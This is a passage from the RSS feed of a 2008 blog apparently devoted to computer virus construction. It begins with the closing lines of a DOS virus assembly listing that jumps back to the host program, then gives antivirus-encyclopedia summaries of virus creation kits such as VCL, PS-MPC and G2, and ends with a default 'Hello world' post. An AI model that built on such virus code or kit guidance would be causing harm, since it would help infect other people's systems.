0206 53<span>             </span>PUSH<span>   </span>BX
0207 C3<span>             </span>RET<span>                     </span><span>     </span>; skok na hostitelsky program

0208 EF0B8C1E<span>       </span>DB<span>     </span>8 DUP (?)<span>             </span>; zaokrouhleni na paragaraf
020C 070D8C1E</pre>
<p class="MsoNormal">
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/9/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/9/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=9&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/02/listing-virus-backtime/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Virus Constructor</title>
		<link>http://virusconstruction.wordpress.com/2008/07/26/virus-constructor/</link>
		<comments>http://virusconstruction.wordpress.com/2008/07/26/virus-constructor/#comments</comments>
		<pubDate>Sat, 26 Jul 2008 04:29:19 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Virus Constructor]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=4</guid>
		<description><![CDATA[Constructor.DOS.G2 G2 (&#8216;the second Generation in Virus Creation&#8217;) is a virus creator. It produces viral assembler source of different virus types. The characteristics of the G2-based virus are selected by editing a configuration file. There are several options: infect COM, EXE or both; resident or nonmemory resident;&#8230; Constructor.DOS.BWG Constructor creates batch payload programs. It is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=4&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54728"><strong>Constructor.DOS.G2</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">G2 (&#8216;the second Generation in Virus Creation&#8217;) is a virus creator. It produces viral assembler source of different virus types. The characteristics of the G2-based virus are selected by editing a configuration file. There are several options: infect COM, EXE or both; resident or nonmemory resident;&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54584"><strong>Constructor.DOS.BWG</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">Constructor creates batch payload programs. It is written in Basic for DOS. It creates payload programs of the following types: internet worms mIRC worms pIRC worms installing to the win.ini installing to the system registry startup key installing to the startup directory deletes antivirus&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54719"><strong>Constructor.DOS.Dreg</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">DREG (Digital Hackers&#8217; Alliance Randomized Encryption Generator) is a virus constructor. It creates virus source codes (ASM files), then runs TASM and TLINK to compile these source to executable files. DREG creates nonmemory resident encrypted COM viruses. They search for COM files in the&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54735"><strong>Constructor.DOS.IVP_10</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">IVP (&#8216;INSTANT VIRUS PRODUCTION KIT&#8217;) is a virus creation kit. It produces viral assembler source of different virus types. The characteristics of the IVP-based viruses are selected by editing a configuration file. There are several options: infect COM, EXE or both; encrypted or not; INT 24h hooking&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54750"><strong>Constructor.DOS.NRLG</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">NRLG (NuKE Randomic Life Generator) constructor creates encrypted memory resident COM/EXE DOS viruses. While creating a virus, the user may select the en/decryption code &#8211; the virus generates random selected codes and displays them on the screen</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54756"><strong>Constructor.DOS.PS-MPC</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">PS-MPC (The Phalcon/Skism Mass-Produced Code Generator) is the second most known virus constructor, after VCL. The features of that constructor are described in the documentation that is distributed in the main PS-MPC package: The Phalcon/Skism Mass-Produced Code Generator is a tool, which&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=54677"><strong>Constructor.DOS.VCL</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">The virus constructor utility VCL.EXE (Virus Creation Laboratory) seems to be the most well-known virus creation tool. This constructor can generate source assembler files of the viruses, OBJ modules and infected master files. VCL contains the standard pop-up menu interface. By using VCL menus, it&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=30805"><strong>Constructor.MSWord.Cvck</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">This is a CVCK-based virus. It contains 11 macros: AutoExec, AutoOpen, Action, Action2, stdClose, HelpAbout, Organizer, ActionDate, ToolsMacro ( Ñ+ ), FileTemplates, and ToolsCustomize. It infects the global macros area upon the opening of an infected document, and is written to documents upon&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=30824"><strong>Constructor.MSWord.DW97Mvck</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">This is a macro Word97 virus construction tool. The constructor itself is a Word97 document that contains seventeen modules: DW97MVCK, frmStartForm, frmVirusSourceName, frmVirusBody, frmStealth, frmRetro, frmPolymorphic, frmPayload, frmPayloadMessageBox, frmPayloadSetPassword, frmPayloadBeep,&#8230;</span></span></p>
<p><span style="font-size:9pt;font-family:Arial;"><a href="http://www.viruslist.com/en/viruses/viruses/encyclopedia?virusid=30829"><strong>Constructor.MSWord.NTVCK</strong></a><br />
</span><span class="newsan1"><span style="font-size:8.5pt;font-family:Arial;">This is a Word2000 macro-virus construction tool. The constructor itself is a Word2000 document that contains 14 modules: NTVCK, frmPlugin, Main, frmSecret, frmcontact, frminfection, KillAV, frmPayload, frmStart, frmGreetz, frmAuthor, Ende, frmname, and boom. When run, the constructor displays a&#8230;</span></span></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/4/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/4/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/4/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=4&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/07/26/virus-constructor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Hello world!</title>
		<link>http://virusconstruction.wordpress.com/2008/07/26/hello-world/</link>
		<comments>http://virusconstruction.wordpress.com/2008/07/26/hello-world/#comments</comments>
		<pubDate>Sat, 26 Jul 2008 04:08:23 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Welcome to WordPress.com. This is your first post. Edit or delete it and start blogging!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=1&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Welcome to <a href="http://wordpress.com/">WordPress.com</a>. This is your first post. Edit or delete it and start blogging!</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/1/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/1/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/1/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=1&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/07/26/hello-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
	</channel>
</rss>
